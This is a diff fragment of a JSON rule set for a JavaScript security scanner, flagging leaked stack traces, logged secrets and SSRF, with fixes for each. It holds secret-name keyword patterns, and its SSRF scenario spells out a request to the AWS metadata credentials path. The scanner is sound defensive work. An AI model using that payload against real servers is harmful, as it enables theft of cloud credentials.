+ "id": "JS-ERR-001",
565
+ "name": "Exception details or stack trace exposed to client in error response",
566
+ "severity": "HIGH",
567
+ "category": "Security Misconfiguration (OWASP A05)",
568
+ "pattern": "res\\s*\\.\\s*(?:json|send)\\s*\\(\\s*(?:err|error|e|ex)\\s*[),]|res\\s*\\.\\s*status\\s*\\([^)]+\\)\\s*\\.\\s*(?:json|send)\\s*\\(\\s*(?:err|error|e|ex)\\s*[),]|res\\s*\\.\\s*(?:json|send|status\\s*\\([^)]+\\)\\s*\\.(?:json|send))\\s*\\([^)]{0,200}(?:\\.stack\\b|error\\.message[^)]{0,100}stack)",
569
+ "flags": "gs",
570
+ "file_types": [
571
+ "js",
572
+ "mjs",
573
+ "cjs",
574
+ "ts",
575
+ "tsx"
576
+ ],
577
+ "why": "Returning raw error objects or stack traces to the client reveals internal file paths, library versions, database schema details, and application logic.",
578
+ "scenario": "catch (err) { res.json(err) } — the response includes stack: \"at /home/app/src/db/users.js:47:12\". Attacker now knows the internal path structure and exact table names.",
579
+ "fix": "Log the full error server-side; return a generic message to the client: catch (err) { logger.error(err); res.status(500).json({ error: \"Internal server error\" }) }"
580
+ },
581
+ {
582
+ "id": "JS-ERR-002",
583
+ "name": "Request data logged to console",
584
+ "severity": "HIGH",
585
+ "confidence": "HIGH",
586
+ "category": "Security Misconfiguration (OWASP A05)",
587
+ "pattern": "console\\s*\\.\\s*(?:log|error|warn|info|debug)\\s*\\([^)]*\\breq\\s*\\.\\s*(?:body|headers|cookies)\\s*(?![?.]|\\[)",
588
+ "flags": "gi",
589
+ "file_types": ["js", "mjs", "cjs", "ts", "tsx"],
590
+ "antipatterns": [
591
+ "\\.length\\b",
592
+ "\\.size\\b",
593
+ "\\.count\\b"
594
+ ],
595
+ "antipattern_flags": "i",
596
+ "why": "Logging req.body, req.headers, or req.cookies sends all client-supplied data — including passwords, tokens, and auth headers — to stdout/stderr, where log aggregation systems collect and retain it.",
597
+ "scenario": "console.log('Login:', req.body) logs { username: 'admin', password: 'hunter2' } to production logs.",
598
+ "fix": "Log only sanitized fields: const safe = { ...req.body }; delete safe.password; logger.info('Login', safe). Never log the full request object."
599
+ },
600
+ {
601
+ "id": "JS-ERR-002B",
602
+ "name": "Environment variable logged to console",
603
+ "severity": "HIGH",
604
+ "confidence": "HIGH",
605
+ "category": "Security Misconfiguration (OWASP A05)",
606
+ "pattern": "console\\s*\\.\\s*(?:log|error|warn|info|debug)\\s*\\([^)]*process\\s*\\.\\s*env\\s*\\.\\s*(?!NODE_ENV\\b|PORT\\b|HOST\\b|LOG_LEVEL\\b|APP_ENV\\b|DEBUG\\b|TZ\\b)[A-Z][A-Z0-9_]{2,}",
607
+ "flags": "gi",
608
+ "file_types": ["js", "mjs", "cjs", "ts", "tsx"],
609
+ "antipatterns": [
610
+ "\\.length\\b",
611
+ "\\.size\\b",
612
+ "\\.count\\b",
613
+ "\\.toLocaleString\\(",
614
+ "\\.toFixed\\("
615
+ ],
616
+ "antipattern_flags": "i",
617
+ "why": "Environment variables in Node.js are the standard location for secrets (API keys, tokens, passwords). Logging process.env.VARNAME sends the secret value to stdout/stderr.",
618
+ "scenario": "console.log('Key:', process.env.OPENAI_API_KEY) writes the full API key to the log.",
619
+ "fix": "Never log environment variables directly. Log presence only: logger.info('API key configured:', !!process.env.OPENAI_API_KEY)."
620
+ },
621
+ {
622
+ "id": "JS-ERR-002C",
623
+ "name": "Potentially sensitive variable logged to console",
624
+ "severity": "MEDIUM",
625
+ "confidence": "MEDIUM",
626
+ "category": "Security Misconfiguration (OWASP A05)",
627
+ "pattern": "console\\s*\\.\\s*(?:log|error|warn|info|debug)\\s*\\([^)]*\\b(?:password|passwd|secret|apiKey|api_key|authToken|auth_token|bearerToken|bearer_token|accessToken|access_token|privateKey|private_key|sessionToken|session_token|credential|credentials)\\b",
628
+ "flags": "gi",
629
+ "lookahead": 80,
630
+ "file_types": ["js", "mjs", "cjs", "ts", "tsx"],
631
+ "antipatterns": [
632
+ "\\.length\\b",
633
+ "\\.size\\b",
634
+ "\\.count\\b",
635
+ "\\.toLocaleString\\(",
636
+ "\\.toFixed\\(",
637
+ "\\?\\s*['\"][^'\"]*['\"]\\s*:\\s*['\"]",
638
+ "['\"][^'\"]*\\b(?:password|passwd|secret|apiKey|api_key|authToken|auth_token|bearerToken|bearer_token|accessToken|access_token|privateKey|private_key|sessionToken|session_token|credential|credentials)\\b"
639
+ ],
640
+ "antipattern_flags": "i",
641
+ "why": "Logging variables with names suggesting secrets may expose credentials to log aggregation systems. Review whether the actual value — not just the variable name — is being logged.",
642
+ "scenario": "console.log('Auth failed, token:', authToken) writes the token value to logs.",
643
+ "fix": "Log only non-sensitive metadata: logger.info('Auth failed', { tokenPresent: !!authToken }). Never log the value of auth credentials."
644
+ },
645
+ {
646
+ "id": "JS-SSRF-001",
647
+ "name": "SSRF — user-controlled URL passed to fetch, axios or http request",
648
+ "severity": "HIGH",
649
+ "category": "Server-Side Request Forgery (OWASP A10)",
650
+ "pattern": "(?:fetch|axios\\s*\\.\\s*(?:get|post|put|delete|request)|https?\\s*\\.\\s*(?:get|request))\\s*\\(\\s*(?:req\\s*\\.\\s*(?:query|body|params)|[^,)]{0,60}req\\s*\\.\\s*(?:query|body|params))",
651
+ "flags": "g",
652
+ "file_types": [
653
+ "js",
654
+ "mjs",
655
+ "cjs",
656
+ "ts",
657
+ "tsx"
658
+ ],
659
+ "why": "Passing user-supplied URLs to outbound HTTP requests allows attackers to make the server send requests to internal infrastructure — cloud metadata endpoints, internal databases, admin panels.",
660
+ "scenario": "fetch(req.query.url) to proxy an image. Attacker sends ?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/. Server returns AWS IAM credentials.",
661
+ "fix": "Validate and restrict: parse the URL, check scheme (https only), resolve hostname and verify it is not a private/loopback range. Use an allowlist of permitted domains."
662
+ }
663
+ ]
664
+ }